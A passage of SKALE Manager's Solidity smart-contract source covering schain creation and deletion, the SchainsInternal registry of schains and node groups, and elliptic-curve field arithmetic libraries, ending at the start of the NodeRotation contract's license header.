uint numberOfNodes,
uint8 partOfNode,
SchainsInternal schainsInternal
)
private
{
uint[] memory nodesInGroup = schainsInternal.createGroupForSchain(schainHash, numberOfNodes, partOfNode);
ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainHash);
emit SchainNodes(
schainName,
schainHash,
nodesInGroup,
block.timestamp,
gasleft());
}
/**
* @dev Creates an schain.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - Schain type must be valid.
*/
function _addSchain(address from, uint deposit, SchainParameters memory schainParameters) private {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
//initialize Schain
_initializeSchainInSchainsInternal(
schainParameters.name,
from,
deposit,
schainParameters.lifetime,
schainsInternal
);
// create a group for Schain
uint numberOfNodes;
uint8 partOfNode;
(partOfNode, numberOfNodes) = schainsInternal.getSchainType(schainParameters.typeOfSchain);
_createGroupForSchain(
schainParameters.name,
keccak256(abi.encodePacked(schainParameters.name)),
numberOfNodes,
partOfNode,
schainsInternal
);
emit SchainCreated(
schainParameters.name,
from,
partOfNode,
schainParameters.lifetime,
numberOfNodes,
deposit,
schainParameters.nonce,
keccak256(abi.encodePacked(schainParameters.name)),
block.timestamp,
gasleft());
}
function _deleteSchain(string calldata name, SchainsInternal schainsInternal) private {
NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation"));
bytes32 schainHash = keccak256(abi.encodePacked(name));
require(schainsInternal.isSchainExist(schainHash), "Schain does not exist");
uint[] memory nodesInGroup = schainsInternal.getNodesInGroup(schainHash);
uint8 partOfNode = schainsInternal.getSchainsPartOfNode(schainHash);
for (uint i = 0; i < nodesInGroup.length; i++) {
uint schainIndex = schainsInternal.findSchainAtSchainsForNode(
nodesInGroup[i],
schainHash
);
if (schainsInternal.checkHoleForSchain(schainHash, i)) {
continue;
}
require(
schainIndex < schainsInternal.getLengthOfSchainsForNode(nodesInGroup[i]),
"Some Node does not contain given Schain");
schainsInternal.removeNodeFromSchain(nodesInGroup[i], schainHash);
schainsInternal.removeNodeFromExceptions(schainHash, nodesInGroup[i]);
this.addSpace(nodesInGroup[i], partOfNode);
}
schainsInternal.deleteGroup(schainHash);
address from = schainsInternal.getSchainOwner(schainHash);
schainsInternal.removeSchain(schainHash, from);
schainsInternal.removeHolesForSchain(schainHash);
nodeRotation.removeRotation(schainHash);
Wallets(
payable(contractManager.getContract("Wallets"))
).withdrawFundsFromSchainWallet(payable(from), schainHash);
emit SchainDeleted(from, name, schainHash);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SchainsInternal.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/utils/EnumerableSet.sol";
import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol";
import "./interfaces/ISkaleDKG.sol";
import "./utils/Random.sol";
import "./ConstantsHolder.sol";
import "./Nodes.sol";
/**
* @title SchainsInternal
* @dev Contract contains all functionality logic to internally manage Schains.
*/
contract SchainsInternal is Permissions, ISchainsInternal {
using Random for Random.RandomGenerator;
using EnumerableSet for EnumerableSet.UintSet;
struct Schain {
string name;
address owner;
uint indexInOwnerList;
uint8 partOfNode;
uint lifetime;
uint startDate;
uint startBlock;
uint deposit;
uint64 index;
}
struct SchainType {
uint8 partOfNode;
uint numberOfNodes;
}
// mapping which contain all schains
mapping (bytes32 => Schain) public schains;
mapping (bytes32 => bool) public isSchainActive;
mapping (bytes32 => uint[]) public schainsGroups;
mapping (bytes32 => mapping (uint => bool)) private _exceptionsForGroups;
// mapping shows schains by owner's address
mapping (address => bytes32[]) public schainIndexes;
// mapping shows schains which Node composed in
mapping (uint => bytes32[]) public schainsForNodes;
mapping (uint => uint[]) public holesForNodes;
mapping (bytes32 => uint[]) public holesForSchains;
// array which contain all schains
bytes32[] public schainsAtSystem;
uint64 public numberOfSchains;
// total resources that schains occupied
uint public sumOfSchainsResources;
mapping (bytes32 => bool) public usedSchainNames;
mapping (uint => SchainType) public schainTypes;
uint public numberOfSchainTypes;
// schain hash => node index => index of place
// index of place is a number from 1 to max number of slots on node(128)
mapping (bytes32 => mapping (uint => uint)) public placeOfSchainOnNode;
mapping (uint => bytes32[]) private _nodeToLockedSchains;
mapping (bytes32 => uint[]) private _schainToExceptionNodes;
EnumerableSet.UintSet private _keysOfSchainTypes;
bytes32 public constant SCHAIN_TYPE_MANAGER_ROLE = keccak256("SCHAIN_TYPE_MANAGER_ROLE");
bytes32 public constant DEBUGGER_ROLE = keccak256("DEBUGGER_ROLE");
modifier onlySchainTypeManager() {
require(hasRole(SCHAIN_TYPE_MANAGER_ROLE, msg.sender), "SCHAIN_TYPE_MANAGER_ROLE is required");
_;
}
modifier onlyDebugger() {
require(hasRole(DEBUGGER_ROLE, msg.sender), "DEBUGGER_ROLE is required");
_;
}
/**
* @dev Allows Schain contract to initialize an schain.
*/
function initializeSchain(
string calldata name,
address from,
uint lifetime,
uint deposit) external allow("Schains")
{
bytes32 schainHash = keccak256(abi.encodePacked(name));
schains[schainHash].name = name;
schains[schainHash].owner = from;
schains[schainHash].startDate = block.timestamp;
schains[schainHash].startBlock = block.number;
schains[schainHash].lifetime = lifetime;
schains[schainHash].deposit = deposit;
schains[schainHash].index = numberOfSchains;
isSchainActive[schainHash] = true;
numberOfSchains++;
schainsAtSystem.push(schainHash);
usedSchainNames[schainHash] = true;
}
/**
* @dev Allows Schain contract to create a node group for an schain.
*/
function createGroupForSchain(
bytes32 schainHash,
uint numberOfNodes,
uint8 partOfNode
)
external
allow("Schains")
returns (uint[] memory)
{
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
schains[schainHash].partOfNode = partOfNode;
if (partOfNode > 0) {
sumOfSchainsResources = sumOfSchainsResources.add(
numberOfNodes.mul(constantsHolder.TOTAL_SPACE_ON_NODE()).div(partOfNode)
);
}
return _generateGroup(schainHash, numberOfNodes);
}
/**
* @dev Allows Schains contract to set index in owner list.
*/
function setSchainIndex(bytes32 schainHash, address from) external allow("Schains") {
schains[schainHash].indexInOwnerList = schainIndexes[from].length;
schainIndexes[from].push(schainHash);
}
/**
* @dev Allows Schains contract to change the Schain lifetime through
* an additional SKL token deposit.
*/
function changeLifetime(bytes32 schainHash, uint lifetime, uint deposit) external allow("Schains") {
schains[schainHash].deposit = schains[schainHash].deposit.add(deposit);
schains[schainHash].lifetime = schains[schainHash].lifetime.add(lifetime);
}
/**
* @dev Allows Schains contract to remove an schain from the network.
* Generally schains are not removed from the system; instead they are
* simply allowed to expire.
*/
function removeSchain(bytes32 schainHash, address from) external allow("Schains") {
isSchainActive[schainHash] = false;
uint length = schainIndexes[from].length;
uint index = schains[schainHash].indexInOwnerList;
if (index != length.sub(1)) {
bytes32 lastSchainHash = schainIndexes[from][length.sub(1)];
schains[lastSchainHash].indexInOwnerList = index;
schainIndexes[from][index] = lastSchainHash;
}
schainIndexes[from].pop();
// TODO:
// optimize
for (uint i = 0; i + 1 < schainsAtSystem.length; i++) {
if (schainsAtSystem[i] == schainHash) {
schainsAtSystem[i] = schainsAtSystem[schainsAtSystem.length.sub(1)];
break;
}
}
schainsAtSystem.pop();
delete schains[schainHash];
numberOfSchains--;
}
/**
* @dev Allows Schains and SkaleDKG contracts to remove a node from an
* schain for node rotation or DKG failure.
*/
function removeNodeFromSchain(
uint nodeIndex,
bytes32 schainHash
)
external
allowThree("NodeRotation", "SkaleDKG", "Schains")
{
uint indexOfNode = _findNode(schainHash, nodeIndex);
uint indexOfLastNode = schainsGroups[schainHash].length.sub(1);
if (indexOfNode == indexOfLastNode) {
schainsGroups[schainHash].pop();
} else {
delete schainsGroups[schainHash][indexOfNode];
if (holesForSchains[schainHash].length > 0 && holesForSchains[schainHash][0] > indexOfNode) {
uint hole = holesForSchains[schainHash][0];
holesForSchains[schainHash][0] = indexOfNode;
holesForSchains[schainHash].push(hole);
} else {
holesForSchains[schainHash].push(indexOfNode);
}
}
uint schainIndexOnNode = findSchainAtSchainsForNode(nodeIndex, schainHash);
removeSchainForNode(nodeIndex, schainIndexOnNode);
delete placeOfSchainOnNode[schainHash][nodeIndex];
}
/**
* @dev Allows Schains contract to delete a group of schains
*/
function deleteGroup(bytes32 schainHash) external allow("Schains") {
// delete channel
ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG"));
delete schainsGroups[schainHash];
skaleDKG.deleteChannel(schainHash);
}
/**
* @dev Allows Schain and NodeRotation contracts to set a Node like
* exception for a given schain and nodeIndex.
*/
function setException(bytes32 schainHash, uint nodeIndex) external allowTwo("Schains", "NodeRotation") {
_setException(schainHash, nodeIndex);
}
/**
* @dev Allows Schains and NodeRotation contracts to add node to an schain
* group.
*/
function setNodeInGroup(bytes32 schainHash, uint nodeIndex) external allowTwo("Schains", "NodeRotation") {
if (holesForSchains[schainHash].length == 0) {
schainsGroups[schainHash].push(nodeIndex);
} else {
schainsGroups[schainHash][holesForSchains[schainHash][0]] = nodeIndex;
uint min = uint(-1);
uint index = 0;
for (uint i = 1; i < holesForSchains[schainHash].length; i++) {
if (min > holesForSchains[schainHash][i]) {
min = holesForSchains[schainHash][i];
index = i;
}
}
if (min == uint(-1)) {
delete holesForSchains[schainHash];
} else {
holesForSchains[schainHash][0] = min;
holesForSchains[schainHash][index] =
holesForSchains[schainHash][holesForSchains[schainHash].length - 1];
holesForSchains[schainHash].pop();
}
}
}
/**
* @dev Allows Schains contract to remove holes for schains
*/
function removeHolesForSchain(bytes32 schainHash) external allow("Schains") {
delete holesForSchains[schainHash];
}
/**
* @dev Allows Admin to add schain type
*/
function addSchainType(uint8 partOfNode, uint numberOfNodes) external onlySchainTypeManager {
require(_keysOfSchainTypes.add(numberOfSchainTypes + 1), "Schain type is already added");
schainTypes[numberOfSchainTypes + 1].partOfNode = partOfNode;
schainTypes[numberOfSchainTypes + 1].numberOfNodes = numberOfNodes;
numberOfSchainTypes++;
}
/**
* @dev Allows Admin to remove schain type
*/
function removeSchainType(uint typeOfSchain) external onlySchainTypeManager {
require(_keysOfSchainTypes.remove(typeOfSchain), "Schain type is already removed");
delete schainTypes[typeOfSchain].partOfNode;
delete schainTypes[typeOfSchain].numberOfNodes;
}
/**
* @dev Allows Admin to set number of schain types
*/
function setNumberOfSchainTypes(uint newNumberOfSchainTypes) external onlySchainTypeManager {
numberOfSchainTypes = newNumberOfSchainTypes;
}
/**
* @dev Allows Admin to move schain to placeOfSchainOnNode map
*/
function moveToPlaceOfSchainOnNode(bytes32 schainHash) external onlyDebugger {
for (uint i = 0; i < schainsGroups[schainHash].length; i++) {
uint nodeIndex = schainsGroups[schainHash][i];
for (uint j = 0; j < schainsForNodes[nodeIndex].length; j++) {
if (schainsForNodes[nodeIndex][j] == schainHash) {
placeOfSchainOnNode[schainHash][nodeIndex] = j + 1;
}
}
}
}
function removeNodeFromAllExceptionSchains(uint nodeIndex) external allow("SkaleManager") {
uint len = _nodeToLockedSchains[nodeIndex].length;
if (len > 0) {
for (uint i = len; i > 0; i--) {
removeNodeFromExceptions(_nodeToLockedSchains[nodeIndex][i - 1], nodeIndex);
}
}
}
function makeSchainNodesInvisible(bytes32 schainHash) external allowTwo("NodeRotation", "SkaleDKG") {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
for (uint i = 0; i < _schainToExceptionNodes[schainHash].length; i++) {
nodes.makeNodeInvisible(_schainToExceptionNodes[schainHash][i]);
}
}
function makeSchainNodesVisible(bytes32 schainHash) external allowTwo("NodeRotation", "SkaleDKG") {
_makeSchainNodesVisible(schainHash);
}
/**
* @dev Returns all Schains in the network.
*/
function getSchains() external view returns (bytes32[] memory) {
return schainsAtSystem;
}
/**
* @dev Returns all occupied resources on one node for an Schain.
*/
function getSchainsPartOfNode(bytes32 schainHash) external view returns (uint8) {
return schains[schainHash].partOfNode;
}
/**
* @dev Returns number of schains by schain owner.
*/
function getSchainListSize(address from) external view returns (uint) {
return schainIndexes[from].length;
}
/**
* @dev Returns hashes of schain names by schain owner.
*/
function getSchainHashsByAddress(address from) external view returns (bytes32[] memory) {
return schainIndexes[from];
}
/**
* @dev Returns hashes of schain names by schain owner.
*/
function getSchainIdsByAddress(address from) external view returns (bytes32[] memory) {
return schainIndexes[from];
}
/**
* @dev Returns hashes of schain names running on a node.
*/
function getSchainHashsForNode(uint nodeIndex) external view returns (bytes32[] memory) {
return schainsForNodes[nodeIndex];
}
/**
* @dev Returns hashes of schain names running on a node.
*/
function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory) {
return schainsForNodes[nodeIndex];
}
/**
* @dev Returns the owner of an schain.
*/
function getSchainOwner(bytes32 schainHash) external view returns (address) {
return schains[schainHash].owner;
}
/**
* @dev Checks whether schain name is available.
* TODO Need to delete - copy of web3.utils.soliditySha3
*/
function isSchainNameAvailable(string calldata name) external view returns (bool) {
bytes32 schainHash = keccak256(abi.encodePacked(name));
return schains[schainHash].owner == address(0) &&
!usedSchainNames[schainHash] &&
keccak256(abi.encodePacked(name)) != keccak256(abi.encodePacked("Mainnet"));
}
/**
* @dev Checks whether schain lifetime has expired.
*/
function isTimeExpired(bytes32 schainHash) external view returns (bool) {
return uint(schains[schainHash].startDate).add(schains[schainHash].lifetime) < block.timestamp;
}
/**
* @dev Checks whether address is owner of schain.
*/
function isOwnerAddress(address from, bytes32 schainHash) external view override returns (bool) {
return schains[schainHash].owner == from;
}
/**
* @dev Checks whether schain exists.
*/
function isSchainExist(bytes32 schainHash) external view returns (bool) {
return keccak256(abi.encodePacked(schains[schainHash].name)) != keccak256(abi.encodePacked(""));
}
/**
* @dev Returns schain name.
*/
function getSchainName(bytes32 schainHash) external view returns (string memory) {
return schains[schainHash].name;
}
/**
* @dev Returns last active schain of a node.
*/
function getActiveSchain(uint nodeIndex) external view returns (bytes32) {
for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) {
if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) {
return schainsForNodes[nodeIndex][i - 1];
}
}
return bytes32(0);
}
/**
* @dev Returns active schains of a node.
*/
function getActiveSchains(uint nodeIndex) external view returns (bytes32[] memory activeSchains) {
uint activeAmount = 0;
for (uint i = 0; i < schainsForNodes[nodeIndex].length; i++) {
if (schainsForNodes[nodeIndex][i] != bytes32(0)) {
activeAmount++;
}
}
uint cursor = 0;
activeSchains = new bytes32[](activeAmount);
for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) {
if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) {
activeSchains[cursor++] = schainsForNodes[nodeIndex][i - 1];
}
}
}
/**
* @dev Returns number of nodes in an schain group.
*/
function getNumberOfNodesInGroup(bytes32 schainHash) external view returns (uint) {
return schainsGroups[schainHash].length;
}
/**
* @dev Returns nodes in an schain group.
*/
function getNodesInGroup(bytes32 schainHash) external view returns (uint[] memory) {
return schainsGroups[schainHash];
}
/**
* @dev Checks whether sender is a node address from a given schain group.
*/
function isNodeAddressesInGroup(bytes32 schainHash, address sender) external view override returns (bool) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
for (uint i = 0; i < schainsGroups[schainHash].length; i++) {
if (nodes.getNodeAddress(schainsGroups[schainHash][i]) == sender) {
return true;
}
}
return false;
}
/**
* @dev Returns node index in schain group.
*/
function getNodeIndexInGroup(bytes32 schainHash, uint nodeId) external view returns (uint) {
for (uint index = 0; index < schainsGroups[schainHash].length; index++) {
if (schainsGroups[schainHash][index] == nodeId) {
return index;
}
}
return schainsGroups[schainHash].length;
}
/**
* @dev Checks whether there are any nodes with free resources for given
* schain.
*/
function isAnyFreeNode(bytes32 schainHash) external view returns (bool) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
uint8 space = schains[schainHash].partOfNode;
return nodes.countNodesWithFreeSpace(space) > 0;
}
/**
* @dev Returns whether any exceptions exist for node in a schain group.
*/
function checkException(bytes32 schainHash, uint nodeIndex) external view returns (bool) {
return _exceptionsForGroups[schainHash][nodeIndex];
}
function checkHoleForSchain(bytes32 schainHash, uint indexOfNode) external view returns (bool) {
for (uint i = 0; i < holesForSchains[schainHash].length; i++) {
if (holesForSchains[schainHash][i] == indexOfNode) {
return true;
}
}
return false;
}
/**
* @dev Returns number of Schains on a node.
*/
function getLengthOfSchainsForNode(uint nodeIndex) external view returns (uint) {
return schainsForNodes[nodeIndex].length;
}
function getSchainType(uint typeOfSchain) external view returns(uint8, uint) {
require(_keysOfSchainTypes.contains(typeOfSchain), "Invalid type of schain");
return (schainTypes[typeOfSchain].partOfNode, schainTypes[typeOfSchain].numberOfNodes);
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
numberOfSchains = 0;
sumOfSchainsResources = 0;
numberOfSchainTypes = 0;
}
/**
* @dev Allows Schains and NodeRotation contracts to add schain to node.
*/
function addSchainForNode(uint nodeIndex, bytes32 schainHash) public allowTwo("Schains", "NodeRotation") {
if (holesForNodes[nodeIndex].length == 0) {
schainsForNodes[nodeIndex].push(schainHash);
placeOfSchainOnNode[schainHash][nodeIndex] = schainsForNodes[nodeIndex].length;
} else {
uint lastHoleOfNode = holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1];
schainsForNodes[nodeIndex][lastHoleOfNode] = schainHash;
placeOfSchainOnNode[schainHash][nodeIndex] = lastHoleOfNode + 1;
holesForNodes[nodeIndex].pop();
}
}
/**
* @dev Allows Schains, NodeRotation, and SkaleDKG contracts to remove an
* schain from a node.
*/
function removeSchainForNode(uint nodeIndex, uint schainIndex)
public
allowThree("NodeRotation", "SkaleDKG", "Schains")
{
uint length = schainsForNodes[nodeIndex].length;
if (schainIndex == length.sub(1)) {
schainsForNodes[nodeIndex].pop();
} else {
delete schainsForNodes[nodeIndex][schainIndex];
if (holesForNodes[nodeIndex].length > 0 && holesForNodes[nodeIndex][0] > schainIndex) {
uint hole = holesForNodes[nodeIndex][0];
holesForNodes[nodeIndex][0] = schainIndex;
holesForNodes[nodeIndex].push(hole);
} else {
holesForNodes[nodeIndex].push(schainIndex);
}
}
}
/**
* @dev Allows Schains contract to remove node from exceptions
*/
function removeNodeFromExceptions(bytes32 schainHash, uint nodeIndex)
public
allowThree("Schains", "NodeRotation", "SkaleManager")
{
_exceptionsForGroups[schainHash][nodeIndex] = false;
uint len = _nodeToLockedSchains[nodeIndex].length;
bool removed = false;
if (len > 0 && _nodeToLockedSchains[nodeIndex][len - 1] == schainHash) {
_nodeToLockedSchains[nodeIndex].pop();
removed = true;
} else {
for (uint i = len; i > 0 && !removed; i--) {
if (_nodeToLockedSchains[nodeIndex][i - 1] == schainHash) {
_nodeToLockedSchains[nodeIndex][i - 1] = _nodeToLockedSchains[nodeIndex][len - 1];
_nodeToLockedSchains[nodeIndex].pop();
removed = true;
}
}
}
len = _schainToExceptionNodes[schainHash].length;
removed = false;
if (len > 0 && _schainToExceptionNodes[schainHash][len - 1] == nodeIndex) {
_schainToExceptionNodes[schainHash].pop();
removed = true;
} else {
for (uint i = len; i > 0 && !removed; i--) {
if (_schainToExceptionNodes[schainHash][i - 1] == nodeIndex) {
_schainToExceptionNodes[schainHash][i - 1] = _schainToExceptionNodes[schainHash][len - 1];
_schainToExceptionNodes[schainHash].pop();
removed = true;
}
}
}
}
/**
* @dev Returns index of Schain in list of schains for a given node.
*/
function findSchainAtSchainsForNode(uint nodeIndex, bytes32 schainHash) public view returns (uint) {
if (placeOfSchainOnNode[schainHash][nodeIndex] == 0)
return schainsForNodes[nodeIndex].length;
return placeOfSchainOnNode[schainHash][nodeIndex] - 1;
}
function _getNodeToLockedSchains() internal view returns (mapping(uint => bytes32[]) storage) {
return _nodeToLockedSchains;
}
function _getSchainToExceptionNodes() internal view returns (mapping(bytes32 => uint[]) storage) {
return _schainToExceptionNodes;
}
/**
* @dev Generates schain group using a pseudo-random generator.
*/
function _generateGroup(bytes32 schainHash, uint numberOfNodes) private returns (uint[] memory nodesInGroup) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
uint8 space = schains[schainHash].partOfNode;
nodesInGroup = new uint[](numberOfNodes);
require(nodes.countNodesWithFreeSpace(space) >= nodesInGroup.length, "Not enough nodes to create Schain");
Random.RandomGenerator memory randomGenerator = Random.createFromEntropy(
abi.encodePacked(uint(blockhash(block.number.sub(1))), schainHash)
);
for (uint i = 0; i < numberOfNodes; i++) {
uint node = nodes.getRandomNodeWithFreeSpace(space, randomGenerator);
nodesInGroup[i] = node;
_setException(schainHash, node);
addSchainForNode(node, schainHash);
nodes.makeNodeInvisible(node);
require(nodes.removeSpaceFromNode(node, space), "Could not remove space from Node");
}
// set generated group
schainsGroups[schainHash] = nodesInGroup;
_makeSchainNodesVisible(schainHash);
}
function _setException(bytes32 schainHash, uint nodeIndex) private {
_exceptionsForGroups[schainHash][nodeIndex] = true;
_nodeToLockedSchains[nodeIndex].push(schainHash);
_schainToExceptionNodes[schainHash].push(nodeIndex);
}
function _makeSchainNodesVisible(bytes32 schainHash) private {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
for (uint i = 0; i < _schainToExceptionNodes[schainHash].length; i++) {
nodes.makeNodeVisible(_schainToExceptionNodes[schainHash][i]);
}
}
/**
* @dev Returns local index of node in schain group.
*/
function _findNode(bytes32 schainHash, uint nodeIndex) private view returns (uint) {
uint[] memory nodesInGroup = schainsGroups[schainHash];
uint index;
for (index = 0; index < nodesInGroup.length; index++) {
if (nodesInGroup[index] == nodeIndex) {
return index;
}
}
return index;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
FieldOperations.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "./Precompiled.sol";
library Fp2Operations {
using SafeMath for uint;
struct Fp2Point {
uint a;
uint b;
}
uint constant public P = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
function addFp2(Fp2Point memory value1, Fp2Point memory value2) internal pure returns (Fp2Point memory) {
return Fp2Point({ a: addmod(value1.a, value2.a, P), b: addmod(value1.b, value2.b, P) });
}
function scalarMulFp2(Fp2Point memory value, uint scalar) internal pure returns (Fp2Point memory) {
return Fp2Point({ a: mulmod(scalar, value.a, P), b: mulmod(scalar, value.b, P) });
}
function minusFp2(Fp2Point memory diminished, Fp2Point memory subtracted) internal pure
returns (Fp2Point memory difference)
{
uint p = P;
if (diminished.a >= subtracted.a) {
difference.a = addmod(diminished.a, p - subtracted.a, p);
} else {
difference.a = (p - addmod(subtracted.a, p - diminished.a, p)).mod(p);
}
if (diminished.b >= subtracted.b) {
difference.b = addmod(diminished.b, p - subtracted.b, p);
} else {
difference.b = (p - addmod(subtracted.b, p - diminished.b, p)).mod(p);
}
}
function mulFp2(
Fp2Point memory value1,
Fp2Point memory value2
)
internal
pure
returns (Fp2Point memory result)
{
uint p = P;
Fp2Point memory point = Fp2Point({
a: mulmod(value1.a, value2.a, p),
b: mulmod(value1.b, value2.b, p)});
result.a = addmod(
point.a,
mulmod(p - 1, point.b, p),
p);
result.b = addmod(
mulmod(
addmod(value1.a, value1.b, p),
addmod(value2.a, value2.b, p),
p),
p - addmod(point.a, point.b, p),
p);
}
function squaredFp2(Fp2Point memory value) internal pure returns (Fp2Point memory) {
uint p = P;
uint ab = mulmod(value.a, value.b, p);
uint mult = mulmod(addmod(value.a, value.b, p), addmod(value.a, mulmod(p - 1, value.b, p), p), p);
return Fp2Point({ a: mult, b: addmod(ab, ab, p) });
}
function inverseFp2(Fp2Point memory value) internal view returns (Fp2Point memory result) {
uint p = P;
uint t0 = mulmod(value.a, value.a, p);
uint t1 = mulmod(value.b, value.b, p);
uint t2 = mulmod(p - 1, t1, p);
if (t0 >= t2) {
t2 = addmod(t0, p - t2, p);
} else {
t2 = (p - addmod(t2, p - t0, p)).mod(p);
}
uint t3 = Precompiled.bigModExp(t2, p - 2, p);
result.a = mulmod(value.a, t3, p);
result.b = (p - mulmod(value.b, t3, p)).mod(p);
}
function isEqual(
Fp2Point memory value1,
Fp2Point memory value2
)
internal
pure
returns (bool)
{
return value1.a == value2.a && value1.b == value2.b;
}
}
library G1Operations {
using SafeMath for uint;
using Fp2Operations for Fp2Operations.Fp2Point;
function getG1Generator() internal pure returns (Fp2Operations.Fp2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return Fp2Operations.Fp2Point({
a: 1,
b: 2
});
}
function isG1Point(uint x, uint y) internal pure returns (bool) {
uint p = Fp2Operations.P;
return mulmod(y, y, p) ==
addmod(mulmod(mulmod(x, x, p), x, p), 3, p);
}
function isG1(Fp2Operations.Fp2Point memory point) internal pure returns (bool) {
return isG1Point(point.a, point.b);
}
function checkRange(Fp2Operations.Fp2Point memory point) internal pure returns (bool) {
return point.a < Fp2Operations.P && point.b < Fp2Operations.P;
}
function negate(uint y) internal pure returns (uint) {
return Fp2Operations.P.sub(y).mod(Fp2Operations.P);
}
}
library G2Operations {
using SafeMath for uint;
using Fp2Operations for Fp2Operations.Fp2Point;
struct G2Point {
Fp2Operations.Fp2Point x;
Fp2Operations.Fp2Point y;
}
function getTWISTB() internal pure returns (Fp2Operations.Fp2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return Fp2Operations.Fp2Point({
a: 19485874751759354771024239261021720505790618469301721065564631296452457478373,
b: 266929791119991161246907387137283842545076965332900288569378510910307636690
});
}
function getG2Generator() internal pure returns (G2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return G2Point({
x: Fp2Operations.Fp2Point({
a: 10857046999023057135944570762232829481370756359578518086990519993285655852781,
b: 11559732032986387107991004021392285783925812861821192530917403151452391805634
}),
y: Fp2Operations.Fp2Point({
a: 8495653923123431417604973247489272438418190587263600148770280649306958101930,
b: 4082367875863433681332203403145435568316851327593401208105741076214120093531
})
});
}
function getG2Zero() internal pure returns (G2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return G2Point({
x: Fp2Operations.Fp2Point({
a: 0,
b: 0
}),
y: Fp2Operations.Fp2Point({
a: 1,
b: 0
})
});
}
function isG2Point(Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y) internal pure returns (bool) {
if (isG2ZeroPoint(x, y)) {
return true;
}
Fp2Operations.Fp2Point memory squaredY = y.squaredFp2();
Fp2Operations.Fp2Point memory res = squaredY.minusFp2(
x.squaredFp2().mulFp2(x)
).minusFp2(getTWISTB());
return res.a == 0 && res.b == 0;
}
function isG2(G2Point memory value) internal pure returns (bool) {
return isG2Point(value.x, value.y);
}
function isG2ZeroPoint(
Fp2Operations.Fp2Point memory x,
Fp2Operations.Fp2Point memory y
)
internal
pure
returns (bool)
{
return x.a == 0 && x.b == 0 && y.a == 1 && y.b == 0;
}
function isG2Zero(G2Point memory value) internal pure returns (bool) {
return value.x.a == 0 && value.x.b == 0 && value.y.a == 1 && value.y.b == 0;
// return isG2ZeroPoint(value.x, value.y);
}
function addG2(
G2Point memory value1,
G2Point memory value2
)
internal
view
returns (G2Point memory sum)
{
if (isG2Zero(value1)) {
return value2;
}
if (isG2Zero(value2)) {
return value1;
}
if (isEqual(value1, value2)) {
return doubleG2(value1);
}
Fp2Operations.Fp2Point memory s = value2.y.minusFp2(value1.y).mulFp2(value2.x.minusFp2(value1.x).inverseFp2());
sum.x = s.squaredFp2().minusFp2(value1.x.addFp2(value2.x));
sum.y = value1.y.addFp2(s.mulFp2(sum.x.minusFp2(value1.x)));
uint p = Fp2Operations.P;
sum.y.a = (p - sum.y.a).mod(p);
sum.y.b = (p - sum.y.b).mod(p);
}
function isEqual(
G2Point memory value1,
G2Point memory value2
)
internal
pure
returns (bool)
{
return value1.x.isEqual(value2.x) && value1.y.isEqual(value2.y);
}
function doubleG2(G2Point memory value)
internal
view
returns (G2Point memory result)
{
if (isG2Zero(value)) {
return value;
} else {
Fp2Operations.Fp2Point memory s =
value.x.squaredFp2().scalarMulFp2(3).mulFp2(value.y.scalarMulFp2(2).inverseFp2());
result.x = s.squaredFp2().minusFp2(value.x.addFp2(value.x));
result.y = value.y.addFp2(s.mulFp2(result.x.minusFp2(value.x)));
uint p = Fp2Operations.P;
result.y.a = (p - result.y.a).mod(p);
result.y.b = (p - result.y.b).mod(p);
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
NodeRotation.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
